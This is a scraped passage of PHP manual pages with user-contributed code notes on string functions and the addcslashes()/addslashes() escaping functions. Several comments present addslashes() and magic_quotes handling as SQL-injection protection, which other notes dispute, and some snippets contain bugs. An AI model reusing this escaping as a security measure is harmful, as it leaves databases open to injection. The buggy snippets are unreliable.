I think that
administrador(ensaimada)sphoera(punt)com's function is
too complicated. It's easier with regular expressions.
So I made this function, it isn't really the same,
it's even better because it returns an array with all the
matches found
If there are no matches, false is returned.

<?php
// bool/array str_between( string str, string
start_str, string end_str )
function str_between($str,$start,$end) {
  if (preg_match_all('/' . preg_quote($start) . '(.*?)' . preg_quote($end) . '/',$str,$matches)) {
   return $matches[1];
  }
  // no matches
  return false;
}
?>

Enjoy
da (dot) blayde (a t) gmail (dot) com 19-Jul-2006 10:52
Sometimes when converting integers to strings, it looks better to have the number spelled out. I wrote this function that converts integers from -999 to 999 into spelled out strings:

function int2str($int=0){
 $doOnes=true;
 $neg=$int<0?true:false;
 $int=abs(round($int));
 $str='';
 switch(strlen($int)){
  case 1:$int='0'.$int;
  case 2:$int='0'.$int;
  case 3:$int.='';break;
  default:return $int;
 }
 switch($int{0}){
  case 1:$str.='one-hundred-';break;
  case 2:$str.='two-hundred-';break;
  case 3:$str.='three-hundred-';break;
  case 4:$str.='four-hundred-';break;
  case 5:$str.='five-hundred-';break;
  case 6:$str.='six-hundred-';break;
  case 7:$str.='seven-hundred-';break;
  case 8:$str.='eight-hundred-';break;
  case 9:$str.='nine-hundred-';break;
 }
 switch($int{1}){
  case 1:
   switch($int{2}){
    case 0:$str.='ten-';break;
    case 1:$str.='eleven-';break;
    case 2:$str.='twelve-';break;
    case 3:$str.='thirteen-';break;
    case 4:$str.='fourteen-';break;
    case 5:$str.='fifteen-';break;
    case 6:$str.='sixteen-';break;
    case 7:$str.='seventeen-';break;
    case 8:$str.='eighteen-';break;
    case 9:$str.='nineteen-';break;
   }
   $doOnes=false;
  break;
  case 2:$str.='twenty-';break;
  case 3:$str.='thirty-';break;
  case 4:$str.='forty-';break;
  case 5:$str.='fifty-';break;
  case 6:$str.='sixty-';break;
  case 7:$str.='seventy-';break;
  case 8:$str.='eighty-';break;
  case 9:$str.='ninety-';break;
 }
 if($doOnes){
  switch($int{2}){
   case 1:$str.='one-';break;
   case 2:$str.='two-';break;
   case 3:$str.='three-';break;
   case 4:$str.='four-';break;
   case 5:$str.='five-';break;
   case 6:$str.='six-';break;
   case 7:$str.='seven-';break;
   case 8:$str.='eight-';break;
   case 9:$str.='nine-';break;
 }}
 $str=substr($str,0,-1);
 if($neg){
  $str='negative '.$str;
 }
 if($int=='000'){
  $str='zero';
 }
 return $str;
}

Hope this helps someone,
-Blayde
mickycole at hotmail dot com 19-Jul-2006 12:01
In responce to James Baker's sencence case function.
Great function however i would make one slight variation being that it doesn't take into account the fact that a capital is required after a new paragraph so i modified it to check for /r and /n as follows:
<?PHP
/*/ Author : James Baker /*/
function sentenceCase($s){
   $str = strtolower($s);
   $cap = true;

   for($x = 0; $x < strlen($str); $x++){
       $letter = substr($str, $x, 1);
       if($letter == "." || $letter == "!" || $letter == "?" || $letter == "\n" || $letter == "\r"){
           $cap = true;
       }elseif($letter != " " && $cap == true){
           $letter = strtoupper($letter);
           $cap = false;
       }

       $ret .= $letter;
   }

   return $ret;
}
?>
administrador(ensaimada)sphoera(punt)com 02-Mar-2006 06:10
I've prepared this simple function to obtain a string delimited between tags (not only XML tags!). Anybody needs something like this?.

<?php

function get_string_between($string, $start, $end){
    $string = " ".$string;
     $ini = strpos($string,$start);
     if ($ini == 0) return "";
     $ini += strlen($start);
     $len = strpos($string,$end,$ini) - $ini;
     return substr($string,$ini,$len);
}

$string = "this [custom] function is useless!!";
echo get_string_between($string,"[","]");
// must return "custom";
?>
more functions at http://www.sphoera.com
SteveRusin 24-Feb-2006 11:00
The functions below:

function beginsWith( $str, $sub )
function endsWith( $str, $sub )

Are correct, but flawed.  You'd need to use the === operator instead:

function beginsWith( $str, $sub ) {
   return ( substr( $str, 0, strlen( $sub ) ) === $sub );
}
function endsWith( $str, $sub ) {
   return ( substr( $str, strlen( $str ) - strlen( $sub ) ) === $sub );
}

Otherwise, endsWith would return "foobar.0" ends with ".0" as well as "0" or "00" or any amount of zeros because numerically .0 does equal 0.
navarr at gmail dot com 20-Dec-2005 06:24
stripos for PHP4.x

<?php
  function stripos($haystack,$needle) {
    return strpos(strtoupper($haystack),strtoupper($needle));
  }
?>
dkflbk at nm dot ru 11-Dec-2005 08:58
I needed str2bin() function for one of my project, so if some one else is want to use it, have fun :)

<?php
/**
 *    Returns an ASCII string containing
 *    the binary representation of the input data .
**/
function str2bin($str, $mode=0) {
    $out = false;
    for($a=0; $a < strlen($str); $a++) {
        $dec = ord(substr($str,$a,1));
        $bin = '';
        for($i=7; $i>=0; $i--) {
            if ( $dec >= pow(2, $i) ) {
                $bin .= "1";
                $dec -= pow(2, $i);
            } else {
                $bin .= "0";
            }
        }
        /* Default-mode */
        if ( $mode == 0 ) $out .= $bin;
        /* Human-mode (easy to read) */
        if ( $mode == 1 ) $out .= $bin . " ";
        /* Array-mode (easy to use) */
        if ( $mode == 2 ) $out[$a] = $bin;
    }
    return $out;
}
?>
admin at fivestarbuy dot com 21-Oct-2005 09:18
This example lets you parse an unparsed strings variables. Warning: This could cause security leaks if you allow users to pass $variables through this engine. I recommend only using this for your Content Management System.

<?
$mytime=time();
$mydog="My Dog Ate My PHP!";

# Your Parsing String:
$s1 = 'Hyphen Variable Preserving: $mytime, and $mydog';
echo "Before: <br><br>$s1<br><br>";

# Remember, wherever you define this, it will not be defined GLOBAL into the function
# which is why we define it here. Defining it global could lead to security issues.
$vardata=get_defined_vars();

# Parse the string
$s1 = StrParse($s1,$vardata);

echo "After: <br><br>$s1";

function StrParse($str,$vardata) {
# Takes a string, or piece of data, that contains PHP Variables

 # For example, unparsed variables like:  Test using time: $mytime
 # This example shows $mytime, and not the actual variable value.
 # The end result shows the actual variable value of $mytime.

 # This is useful for building a content management system,
 # and directing your variables into your content data,
 # where content is stored in a file or database, unparsed.
 # Of course this could slow down page loads, but it's a good way
 # to parse data from current variables into your loaded new data
 # making it compatible.

# Then the variables are replaced with the actual variable..
$getvarkeys=array_keys($vardata);
$ret=$str;
for ($x=0; $x < count($getvarkeys); $x++) {
    $myvar=$getvarkeys[$x];
    #echo "Variable: " . $myvar . " [" . $vardata[$myvar] . "]<br>";
    $ret=str_replace('$' . $myvar, $vardata[$myvar], $ret);
}
return $ret;

}

?>
17-Oct-2005 03:27
to: james dot d dot baker at gmail dot com

PHP has a builtin function  for doing what your function does,

http://php.net/ucfirst
http://php.net/ucwords
14-Oct-2005 08:24
Updated; used to test for input as an array, should have been a string, added some validation of the input while I was at it.  Enjoy.

<?php
/*----------        Directory Tree to Array        ----------//
  Takes base directory, returns an associative array
       containing each directory name as an associative key
       and each file as an indexed entry in the appropriate
       directory.
  If no path is provided, it uses the current directory
  If $style == 1, it will return a sorted, non-associative
       array

  By Peter Dolan
  www.peterd.net
  Updated 2005-10-12

  Use it as much as you like for whatever
  For my own entertainment, please let me know if you do
//-----------------------------------------------------------*/
function dirTreeToArray( $path = "./", $style="0" ) {
     if ( !is_string($path) or !($style==0 or $style==1) ) die("Improper arguments in function dirTreeToArray(string \$path, \$style = {0, 1})");
     else {
        $path = trim($path);
        $path = str_replace("\\", "/", $path);
        if( '/' == $path{strlen($path)-1} || '\'' == $path{strlen($path)-1} ) $path = substr($path, 0, strlen($path)-1);
     }
     $tree = array();
     $arrayPointer = & $tree;
   if ( $handle = opendir($path) ) {
       while ( $fileName = readdir($handle) ) {
             if ( $fileName != "." and $fileName != ".." ) {
                       $newPath = "$path/$fileName";        // Used for testing directory or file property
                 if ( is_dir($newPath) ) {
                   $dummyPointer = & $arrayPointer;        // Save the current pointer
                     if ( $style == 0 ) $arrayPointer = & $arrayPointer[$fileName];    // Drop the pointer into a subdirectory
                     elseif ( $style == 1 ) $arrayPointer = & $arrayPointer[];        // Drop the pointer into a subdirectory
                     $arrayPointer = dirTreeToArray($newPath, $style);            // Process the new subdirectory
                   if ( $style == 1 ) sort($arrayPointer);    // Sort it if we're in a non-associative mode
                     $arrayPointer = & $dummyPointer;        // Bring the pointer back up a level
               }
                 elseif ( is_file($newPath) ) $arrayPointer[] = $fileName;    // Enter the files
           }
       }
               return $tree;
   }
   else die("Failed to open directory $path in function dirTreeToArray(string \$path, \$style = {0, 1})");
}
?>
tim_meredith at s4s dot org 13-Oct-2005 01:32
--Convert MSWord Quotes--
Use this before any conversion to HTML entities or characters to clean up a form entry cut and pasted from MSWord.

function fixword($scratch)
{
    $start=chr(226).chr(128);
    $word=array();$fixword=array();
    $word[]=$start.chr(152);$fixword[]="'";
    $word[]=$start.chr(153);$fixword[]="'";
    $word[]=$start.chr(156);$fixword[]="\"";
    $word[]=$start.chr(157);$fixword[]="\"";
    return str_replace($word, $fixword, $scratch);
}
webmaster at cafe-clope dot net 13-Aug-2005 04:40
A comprehensive concatenation function, that works with array and strings

<?php
function str_cat() {
  $args = func_get_args() ;

  // Asserts that every array given as argument is $dim-size.
  // Keys in arrays are stripped off.
  // If no array is found, $dim stays unset.
  foreach($args as $key => $arg) {
    if(is_array($arg)) {
      if(!isset($dim))
        $dim = count($arg) ;
      elseif($dim != count($arg))
        return FALSE ;
      $args[$key] = array_values($arg) ;
    }
  }

  // Concatenation
  if(isset($dim)) {
    $result = array() ;
    for($i=0;$i<$dim;$i++) {
      $result[$i] = '' ;
      foreach($args as $arg)
        $result[$i] .= ( is_array($arg) ? $arg[$i] : $arg ) ;
    }
    return $result ;
  } else {
    return implode($args) ;
  }
}
?>

A simple example :

<?php
str_cat(array(1,2,3), '-', array('foo' => 'foo', 'bar' => 'bar', 'noop' => 'noop')) ;
?>

will return :
Array (
  [0] => 1-foo
  [1] => 2-bar
  [2] => 3-noop
)

More usefull :

<?php
$myget = $_GET ; // retrieving previous $_GET values
$myget['foo'] = 'b a r' ; // changing one value
$myget = str_cat(array_keys($myget), '=', array_map('rawurlencode', array_values($myget))) ;
$querystring = implode(ini_get('arg_separator.output'), $myget)) ;
?>

will return a valid querystring with some values changed.

Note that <?php str_cat('foo', '&', 'bar') ; ?> will return 'foo&bar', while <?php str_cat(array('foo'), '&', 'bar') ; ?> will return array(0 => foo&bar)
t0russ at gmail dot com 14-Jun-2005 10:38
to kristin at greenaple dot on dot ca:
thanx for sharing.
your function in recursive form proved to be slightly faster and it returns false (as it should) when the character is not found instead of number 0:
<?php
function strnposr($haystack, $needle, $occurance, $pos = 0) {
    return ($occurance<2)?strpos($haystack, $needle, $pos):strnposr($haystack,$needle,$occurance-1,strpos($haystack, $needle, $pos) + 1);
}
?>
rh at richardhoward dot net 05-Jun-2005 11:41
<?php
/**
Utility class: static methods for cleaning & escaping untrusted (i.e.
user-supplied) strings.

Any string can (usually) be thought of as being in one of these 'modes':

pure = what the user actually typed / what you want to see on the page /
       what is actually stored in the DB
gpc  = incoming GET, POST or COOKIE data
sql  = escaped for passing safely to RDBMS via SQL (also, data from DB
       queries and file reads if you have magic_quotes_runtime on--which
       is rare)
html = safe for html display (htmlentities applied)

Always knowing what mode your string is in--using these methods to
convert between modes--will prevent SQL injection and cross-site scripting.

This class refers to its own namespace (so it can work in PHP 4--there is no
self keyword until PHP 5). Do not change the name of the class w/o changing
all the internal references.

Example usage: a POST value that you want to query with:
$username = Str::gpc2sql($_POST['username']);
*/

//This sets SQL escaping to use slashes; for Sybase(/MSSQL)-style escaping
// ( ' --> '' ), set to true.
define('STR_SYBASE', false);

class Str {
    function gpc2sql($gpc, $maxLength = false)
    {
        return Str::pure2sql(Str::gpc2pure($gpc), $maxLength);
    }
    function gpc2html($gpc, $maxLength = false)
    {
        return Str::pure2html(Str::gpc2pure($gpc), $maxLength);
    }
    function gpc2pure($gpc)
    {
        if (ini_get('magic_quotes_sybase'))
            $pure = str_replace("''", "'", $gpc);
        else $pure = get_magic_quotes_gpc() ? stripslashes($gpc) : $gpc;
        return $pure;
    }
    function html2pure($html)
    {
        return html_entity_decode($html);
    }
    function html2sql($html, $maxLength = false)
    {
        return Str::pure2sql(Str::html2pure($html), $maxLength);
    }
    function pure2html($pure, $maxLength = false)
    {
        return $maxLength ? htmlentities(substr($pure, 0, $maxLength))
                          : htmlentities($pure);
    }
    function pure2sql($pure, $maxLength = false)
    {
        if ($maxLength) $pure = substr($pure, 0, $maxLength);
        return (STR_SYBASE)
               ? str_replace("'", "''", $pure)
               : addslashes($pure);
    }
    function sql2html($sql, $maxLength = false)
    {
        $pure = Str::sql2pure($sql);
        if ($maxLength) $pure = substr($pure, 0, $maxLength);
        return Str::pure2html($pure);
    }
    function sql2pure($sql)
    {
        return (STR_SYBASE)
               ? str_replace("''", "'", $sql)
               : stripslashes($sql);
    }
}
?>
james dot d dot baker at gmail dot com 27-May-2005 10:45
<?php
/*
Written By James Baker, May 27th 2005

sentenceCase($string);
    $string: The string to convert to sentence case.

Converts a string into proper sentence case (First letter of each sentance capital, all the others smaller)

Example Usage:
echo sentenceCase("HELLO WORLD!!! THIS IS A CAPITALISED SENTENCE. this isn't.");

Returns:
Hello world!!! This is a capitalised sentence. This isn't.
*/

function sentenceCase($s){
    $str = strtolower($s);
    $cap = true;

    for($x = 0; $x < strlen($str); $x++){
        $letter = substr($str, $x, 1);
        if($letter == "." || $letter == "!" || $letter == "?"){
            $cap = true;
        }elseif($letter != " " && $cap == true){
            $letter = strtoupper($letter);
            $cap = false;
        }

        $ret .= $letter;
    }

    return $ret;
}
?>
php at moechofe dot com 26-Apr-2005 06:34
<?php
  /*
  * str_match
  *
  * return a string with only cacacteres defined in a expression return false if the expression is not valid
  *
  * @param $str string the string
  * @param $match the expression based on the class definition off a PCRE regular expression.
  *   the '[', ']', '\' and '^' at class start need to be escaped.
  *   like : -a-z0-9_@.
  */
  function str_match( $str, $match )
  {
    $return = '';
    if( eregi( '(.*)', $match, $class ) )
    {
      $match = '['.$regs[1].']';
      for( $i=0; $i<strlen($str); $i++ )
      if( ereg( '['.$class[1].']', $str[$i] ) )
      $return .= $str{$i};
      return $return;
    }
    else return false;
  }

  /*
  * example
  * accept only alphanum caracteres from the GET/POST parameters 'a'
  */

  if( ! empty($_REQUEST['a']) )
    $_REQUEST['a'] = str_match( $_REQUEST['a'], 'a-zA-Z0-9' );
  else
    $_REQUEST['a'] = 'default';
?>
Pommef 19-Mar-2005 01:15
Example: Give me everything up to the fourth occurance of '/'.

<?php

   $haystack = "/home/username/www/index.php";
   $needle = "/";

   function strnpos($haystack, $needle, $occurance, $pos = 0) {

        $res = implode($needle,$haystack);

        $res = array_slice($res, $pos,  $occurance);

        return explode ($needle,$res);
    }
?>
kristin at greenapple dot on dot ca 02-Jan-2005 08:32
I really searched for a function that would do this as I've seen it in other languages but I couldn't find it here. This is particularily useful when combined with substr() to take the first part of a string up to a certain point.

strnpos() - Find the nth position of needle in haystack.

<?php

    function strnpos($haystack, $needle, $occurance, $pos = 0) {

        for ($i = 1; $i <= $occurance; $i++) {
            $pos = strpos($haystack, $needle, $pos) + 1;
        }
        return $pos - 1;

    }

?>

Example: Give me everything up to the fourth occurance of '/'.

<?php

    $haystack = "/home/username/www/index.php";
    $needle = "/";

    $root_dir = substr($haystack, 0, strnpos($haystack, $needle, 4));

    echo $root_dir;

?>

Returns: /home/username/www

Use this example with the server variable $_SERVER['SCRIPT_NAME'] as the haystack and you can self-discover a document's root directory for the purposes of locating global files automatically!
20-Dec-2004 08:31
In response to hackajar <matt> yahoo <trot> com,

No string-to-array function exists because it is not needed. If you reference a string with an offset like you do with an array, the character at that offset will be return. This is documented in section III.11's "Strings" article under the "String access and modification by character" heading.
andy a t onesandzeros d o t biz 09-Nov-2004 02:54
I use these little doo-dads quite a bit. I just thought I'd share them and maybe save someone a little time. No biggy. :)

// returns true if $str begins with $sub
function beginsWith( $str, $sub ) {
    return ( substr( $str, 0, strlen( $sub ) ) == $sub );
}

// return tru if $str ends with $sub
function endsWith( $str, $sub ) {
    return ( substr( $str, strlen( $str ) - strlen( $sub ) ) == $sub );
}

// trims off x chars from the front of a string
// or the matching string in $off is trimmed off
function trimOffFront( $off, $str ) {
    if( is_numeric( $off ) )
        return substr( $str, $off );
    else
        return substr( $str, strlen( $off ) );
}

// trims off x chars from the end of a string
// or the matching string in $off is trimmed off
function trimOffEnd( $off, $str ) {
    if( is_numeric( $off ) )
        return substr( $str, 0, strlen( $str ) - $off );
    else
        return substr( $str, 0, strlen( $str ) - strlen( $off ) );
}
[tab!] 27-Oct-2004 12:29
//
// string strtrmvistl(  string str, [int maxlen = 64],
//                      [bool right_justify = false],
//                      [string delimter = "<br>\n"])
//
// splits a long string into two chunks (a start and an end chunk)
// of a given maximum length and seperates them by a given delimeter.
// a second chunk can be right-justified within maxlen.
// may be used to 'spread' a string over two lines.
//

function strtrmvistl($str, $maxlen = 64, $right_justify = false, $delimter = "<br>\n") {
    if(($len = strlen($str = chop($str))) > ($maxlen = max($maxlen, 12))) {
        $newstr = substr($str, 0, $maxlen - 3);

        if($len > ($maxlen - 3)) {
            $endlen = min(($len - strlen($newstr)), $maxlen - 3);
            $newstr .= "..." . $delimter;

            if($right_justify)
                $newstr .= str_pad('', $maxlen - $endlen - 3, ' ');

            $newstr .= "..." . substr($str, $len - $endlen);
        }

        return($newstr);
    }

    return($str);
}
terry dot greenlaw at logicalshift dot com 11-Aug-2004 10:52
Here's a simpler "simplest" way to toggle through a set of 1..n colors for web backgrounds:

<?php
$colours = array('#000000', '#808080', '#A0A0A0', '#FFFFFF');

// Get a colour
$color = next($colors) or $color = reset($colors);
?>

The code doesn't need to know anything about the number of elements being cycled through. That way you won't have to tracking down all the code when changing the number of colors or the color values.
Predefined Constants
addcslashes
Strings


Quote string with slashes in a C style

String Functions
addslashes
String Functions
PHP Manual

addcslashes

(PHP 4, PHP 5)

addcslashes — Quote string with slashes in a C style

Description

string addcslashes ( string $str , string $charlist )

Returns a string with backslashes before characters that are listed in charlist parameter.

Parameters

str

The string to be escaped.

charlist

A list of characters to be escaped. If charlist contains characters \n, \r etc., they are converted in C-like style, while other non-alphanumeric characters with ASCII codes lower than 32 and higher than 126 converted to octal representation.

When you define a sequence of characters in the charlist argument make sure that you know what characters come between the characters that you set as the start and end of the range.

<?php
echo addcslashes('foo[ ]', 'A..z');
// output:  \f\o\o\[ \]
// All upper and lower-case letters will be escaped
// ... but so will the [\]^_`
?>
Also, if the first character in a range has a higher ASCII value than the second character in the range, no range will be constructed. Only the start, end and period characters will be escaped. Use the ord() function to find the ASCII value for a character.
<?php
echo addcslashes("zoo['.']", 'z..A');
// output:  \zoo['\.']
?>

Be careful if you choose to escape characters 0, a, b, f, n, r, t and v. They will be converted to \0, \a, \b, \f, \n, \r, \t and \v. In PHP \0 (NULL), \r (carriage return), \n (newline), \f (form feed), \v (vertical tab) and \t (tab) are predefined escape sequences, while in C all of these are predefined escape sequences.

Return Values

Returns the escaped string.

Changelog

Version | Description
5.2.5 | The escape sequences \v and \f were added.

Examples

charlist like "\0..\37", which would escape all characters with ASCII code between 0 and 31.

Example #1 addcslashes() example

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\177..\377");
?>

See Also

  • stripcslashes() - Un-quote string quoted with addcslashes
  • stripslashes() - Un-quotes a quoted string
  • addslashes() - Quote string with slashes
  • htmlspecialchars() - Convert special characters to HTML entities
  • quotemeta() - Quote meta characters

User Contributed Notes

kongaspar at gmail dot com 27-Jul-2009 05:33
Perhaps the following is a more efficient JavaScript escape function:

<?php
function jsEscape($str) {
    return addcslashes($str,"\\\'\"&\n\r<>");
}
?>
stein at visibone dot com 12-Nov-2007 03:16
addcslashes() treats NUL as a string terminator:

   assert("any"  === addcslashes("any\0body", "-"));

unless you order it backslashified:

   assert("any\\000body" === addcslashes("any\0body", "\0"));

(Uncertain whether this should be declared a bug or simply that addcslashes() is not binary-safe, whatever that means.)
Johannes 26-Oct-2007 05:34
Be carefull with adding the \ to the list of encoded characters. When you add it at the last position it encodes all encoding slashes. I got a lot of \\\ by this mistake.

So always encode \ at first.
phpcoder at cyberpimp dot pimpdomain dot com 20-Jan-2005 12:35
Forgot to add something:
The only time you would likely use addcslashes() without specifying the backslash (\) character in charlist is when you are VALIDATING (not encoding!) a data string.

(Validation ensures that all control characters and other unsafe characters are correctly encoded / escaped, but does not alter any pre-existing escape sequences.)

You can validate a data string multiple times without fear of "double encoding".  A single decoding pass will return the original data, regardless of how many times it was validated.)
phpcoder at cyberpimp dot pimpdomain dot com 19-Jan-2005 11:02
If you are using addcslashes() to encode text which is to later be decoded back to it's original form, you MUST specify the backslash (\) character in charlist!

Example:

<?php
  $originaltext = 'This text does NOT contain \\n a new-line!';
  $encoded = addcslashes($originaltext, '\\');
  $decoded = stripcslashes($encoded);
  //$decoded now contains a copy of $originaltext with perfect integrity
  echo $decoded; //Display the sentence with it's literal \n intact
?>

If the '\\' was not specified in addcslashes(), any literal \n (or other C-style special character) sequences in $originaltext would pass through un-encoded, but then be decoded into control characters by stripcslashes() and the data would lose it's integrity through the encode-decode transaction.
ruben at intesys dot it 31-May-2004 09:51
jsAddSlashes for XHTML documents:

<?php
header("Content-type: text/xml");

print <<<EOF
<?xml version="1.0"?>
<html>
<head>
<script type="text/javascript">

EOF;

function jsAddSlashes($str) {
    $pattern = array(
        "/\\\\/"  , "/\n/"    , "/\r/"    , "/\"/"    ,
        "/\'/"    , "/&/"     , "/</"     , "/>/"
    );
    $replace = array(
        "\\\\\\\\", "\\n"     , "\\r"     , "\\\""    ,
        "\\'"     , "\\x26"   , "\\x3C"   , "\\x3E"
    );
    return preg_replace($pattern, $replace, $str);
}

$message = jsAddSlashes("\"<Hello>\",\r\n'&World'\\!");

print <<<EOF
alert("$message");
</script>
</head>
<body>
<h1>Hello, World!</h1>
</body>
</html>

EOF;
?>
21-Sep-2003 11:44
<?php
function jsaddslashes($s)
{
 $o="";
 $l=strlen($s);
 for($i=0;$i<$l;$i++)
 {
  $c=$s[$i];
  switch($c)
  {
   case '<': $o.='\\x3C'; break;
   case '>': $o.='\\x3E'; break;
   case '\'': $o.='\\\''; break;
   case '\\': $o.='\\\\'; break;
   case '"':  $o.='\\"'; break;
   case "\n": $o.='\\n'; break;
   case "\r": $o.='\\r'; break;
   default:
   $o.=$c;
  }
 }
 return $o;
}

?>
<script language="javascript">
document.write("<? echo jsaddslashes('<h1 style="color:red">hello</h1>'); ?>");
</script>

output :

<script language="javascript">
document.write("\x3Ch1 style=\"color:red\"\x3Ehello\x3C/h1\x3E");
</script>
natNOSPAM at noworrie dot NO_SPAM dot com 17-May-2002 04:22
I have found the following to be much more appropriate code example:

<?php
$escaped = addcslashes($not_escaped, "\0..\37!@\@\177..\377");
?>

This will protect original, innocent backslashes from stripcslashes.
String Functions
addslashes
String Functions


Quote string with slashes

addcslashes
bin2hex
String Functions
PHP Manual

addslashes

(PHP 4, PHP 5)

addslashes — Quote string with slashes

Description

string addslashes ( string $str )

Returns a string with backslashes before characters that need to be quoted in database queries etc. These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).

An example use of addslashes() is when you're entering data into a database. For example, to insert the name O'reilly into a database, you will need to escape it. It's highly recommended to use DBMS specific escape function (e.g. mysqli_real_escape_string() for MySQL or pg_escape_string() for PostgreSQL), but if the DBMS you're using doesn't have an escape function and the DBMS uses \ to escape special chars, you can use this function. This would only be to get the data into the database, the extra \ will not be inserted. Having the PHP directive magic_quotes_sybase set to on will mean ' is instead escaped with another '.

The PHP directive magic_quotes_gpc is on by default, and it essentially runs addslashes() on all GET, POST, and COOKIE data. Do not use addslashes() on strings that have already been escaped with magic_quotes_gpc as you'll then do double escaping. The function get_magic_quotes_gpc() may come in handy for checking this.

Parameters

str

The string to be escaped.

Return Values

Returns the escaped string.

Examples

Example #1 An addslashes() example

<?php
$str = "Is your name O'reilly?";

// Outputs: Is your name O\'reilly?
echo addslashes($str);
?>

See Also

  • stripcslashes() - Un-quote string quoted with addcslashes
  • stripslashes() - Un-quotes a quoted string
  • addcslashes() - Quote string with slashes in a C style
  • htmlspecialchars() - Convert special characters to HTML entities
  • quotemeta() - Quote meta characters
  • get_magic_quotes_gpc() - Gets the current configuration setting of magic_quotes_gpc

User Contributed Notes

boyaqb at gmail dot com 14-Aug-2011 03:34
so you can use replace single quote and double quote with HTML Entities

for example

<?php
/**
 * replcae quotes to HTML entities by names or numbers
 *
 * @param (string) escaped string value
 * @param (string) default ='number' will be return to number entities you can use ='name' to return name entities
 * Note : don't use ='name' coz (&apos;) (does not work in IE)
 */
function quote2entities($string,$entities_type='number')
{
    $search                     = array("\"","'");
    $replace_by_entities_name   = array("&quot;","&apos;");
    $replace_by_entities_number = array("&#34;","&#39;");
    $do = null;
    if ($entities_type == 'number')
    {
        $do = str_replace($search,$replace_by_entities_number,$string);
    }
    else if ($entities_type == 'name')
    {
        $do = str_replace($search,$replace_by_entities_name,$string);
    }
    else
    {
        $do = addslashes($string);
    }
    return $do;
}

echo quote2entities("I love 'PHP' for ever");
// will return I love 'PHP' for ever in browsere
// but in view code and database will be  I love &#34;PHP&#34; for ever in source
?>
cliprz at gmail dot com 26-Mar-2011 11:08
<?php

/**
 * @desc add slashes if use MySQL and check if function addslashes is exits else
 * return to escape string in MySQL .
 * same way its return to stripslashes function
 * @param string $type any string u want to insert in MySQL and display from MySQL
 * @param string $type must be add to add slashes and strip to strip slashes
 * @author Yousef Ismaeil - cliprz@gmail.com
 */
function PHP_slashes($string,$type='add')
{
    if ($type == 'add')
    {
        if (get_magic_quotes_gpc())
        {
            return $string;
        }
        else
        {
            if (function_exists('addslashes'))
            {
                return addslashes($string);
            }
            else
            {
                return mysql_real_escape_string($string);
            }
        }
    }
    else if ($type == 'strip')
    {
        return stripslashes($string);
    }
    else
    {
        die('error in PHP_slashes (mixed,add | strip)');
    }
}

?>
svenr at selfhtml dot org 01-Feb-2011 08:45
To output a PHP variable to Javascript, use json_encode().

<?php

$var = "He said \"Hello O'Reilly\" & disappeared.\nNext line...";
echo "alert(".json_encode($var).");\n";

?>

Output:
alert("He said \"Hello O'Reilly\" & disappeared.\nNext line...") ;
roysimke at microsoftsfirstmailprovider dot com 18-Jun-2010 01:35
Never use addslashes function to escape values you are going to send to mysql. use mysql_real_escape_string or pg_escape at least if you are not using prepared queries yet.

keep in mind that single quote is not the only special character that can break your sql query. and quotes are the only thing which addslashes care.
Simon Barrett 04-May-2010 01:46
Heres a hassle free function to use to check your query string and before its handed to the db.  It will add/remove slashes according to the get_magic_quotes_gpc state

<?php
    function mysql_prep($value)
    {
        if(get_magic_quotes_gpc()){
            $value = stripslashes($value);
        } else {
            $value = addslashes($value);
        }
        return $value;
    }
?>
adam at NOSPAM dot awgtek dot com 18-Oct-2009 08:16
When checking whether to addslashes, use get_magic_quotes_runtime(). Using get_magic_quotes_gpc() may not be accurate.
DarkHunterj 25-Aug-2009 05:11
Based on:
Danijel Pticar
05-Aug-2009 05:22
I recommend this extended version, to replace addslashes altogether(works for both strings and arrays):
<?php
function addslashesextended(&$arr_r)
{
    if(is_array($arr_r))
    {
        foreach ($arr_r as &$val)
            is_array($val) ? addslashesextended($val):$val=addslashes($val);
        unset($val);
    }
    else
        $arr_r=addslashes($arr_r);
}
?>
Danijel Pticar 05-Aug-2009 10:22
Hi,
I use this recursive function for POST. It handles multidimensional arrays.

<?php
function as_array(&$arr_r)
{
 foreach ($arr_r as &$val) is_array($val) ? as_array($val):$val=addslashes($val);
 unset($val);
}

as_array($_POST);
?>
leocullen at fastmail dot fm 06-Feb-2009 01:06
this is my version of an addslashes function, useful for processing $_POST array:

<?php
function add_slashes ($an_array) {
  foreach ($an_array as $key => $value) {
    $new_array[$key] = addslashes($an_array[$key]);
  }
}
?>

then call it:

<?php add_slashes($_POST); ?>
stuart at horuskol dot co dot uk 11-Dec-2008 02:44
Be careful on whether you use double or single quotes when creating the string to be escaped:

$test = 'This is one line\r\nand this is another\r\nand this line has\ta tab';

echo $test;
echo "\r\n\r\n";
echo addslashes($test);

$test = "This is one line\r\nand this is another\r\nand this line has\ta tab";

echo $test;
echo "\r\n\r\n";
echo addslashes($test);
Taslim Sohel (sohel62 at yahoo dot com) 07-Dec-2008 10:09
About Raymond and Aditya's post

Following code can help you to add slashes with posted array.
I just added a recursive function with Aditya's code.

<?php
//create array to temporarily grab variables
$input_arr = array();
//grabs the $_POST variables and adds slashes
foreach ($_POST as $key => $input_arr) {
    if(is_array($input_arr)){
        $_POST[$key] = addslashes_array($input_arr);
    }else{
        $_POST[$key] = addslashes($input_arr);
    }

}

// Recursive Function to add slashes with posted array.
function addslashes_array($input_arr){
    if(is_array($input_arr)){
        $tmp = array();
        foreach ($input_arr as $key1 => $val){
            $tmp[$key1] = addslashes_array($val);
        }
        return $tmp;
    }else{
        return addslashes($input_arr);
    }
}

?>
Raymond Hofman 24-Jun-2008 12:14
In addition to the post made by Aditya P Bhatt below. This code works fine for posting a single string but does not work for posting arrays.
Aditya P Bhatt (adityabhai at gmail dot com) 27-Mar-2008 09:59
Automagically add slashes to $_POST variables. It helps to prevent some sql injection attacks. Also works with $_GET variables.

FILE NAME: input_cl.php
<?php
//create array to temporarily grab variables
$input_arr = array();
//grabs the $_POST variables and adds slashes
foreach ($_POST as $key => $input_arr) {
    $_POST[$key] = addslashes($input_arr);
}
?>

Just put this at the top of your script that gets the variables. Here is an example.

Usage Example
<?php
include("input_cl.php");
// all $_POST variables have slashes added to them
$f_name = $_POST["f_name"];
$l_name = $_POST["l_name"];
$phone_num = $_POST["phone_num"];
$address1 = $_POST["address1"];
$address2 = $_POST["address2"];
$city = $_POST["city"];
$State = $_POST["State"];
$zip = $_POST["zip"];

//sql insert code goes here.
?>
Edwin at NOSPAM dot example dot com 22-Jan-2008 07:11
In the note below of Adrian C (3-3-2007) checkaddslashes will not behave well with strings starting with a single quote (because of the non-typed comparison) or with strings having a mix of escaped and non-escaped single quotes.

Although addslashes also escapes double quotes, this function worked for single quotes fine.

<?php
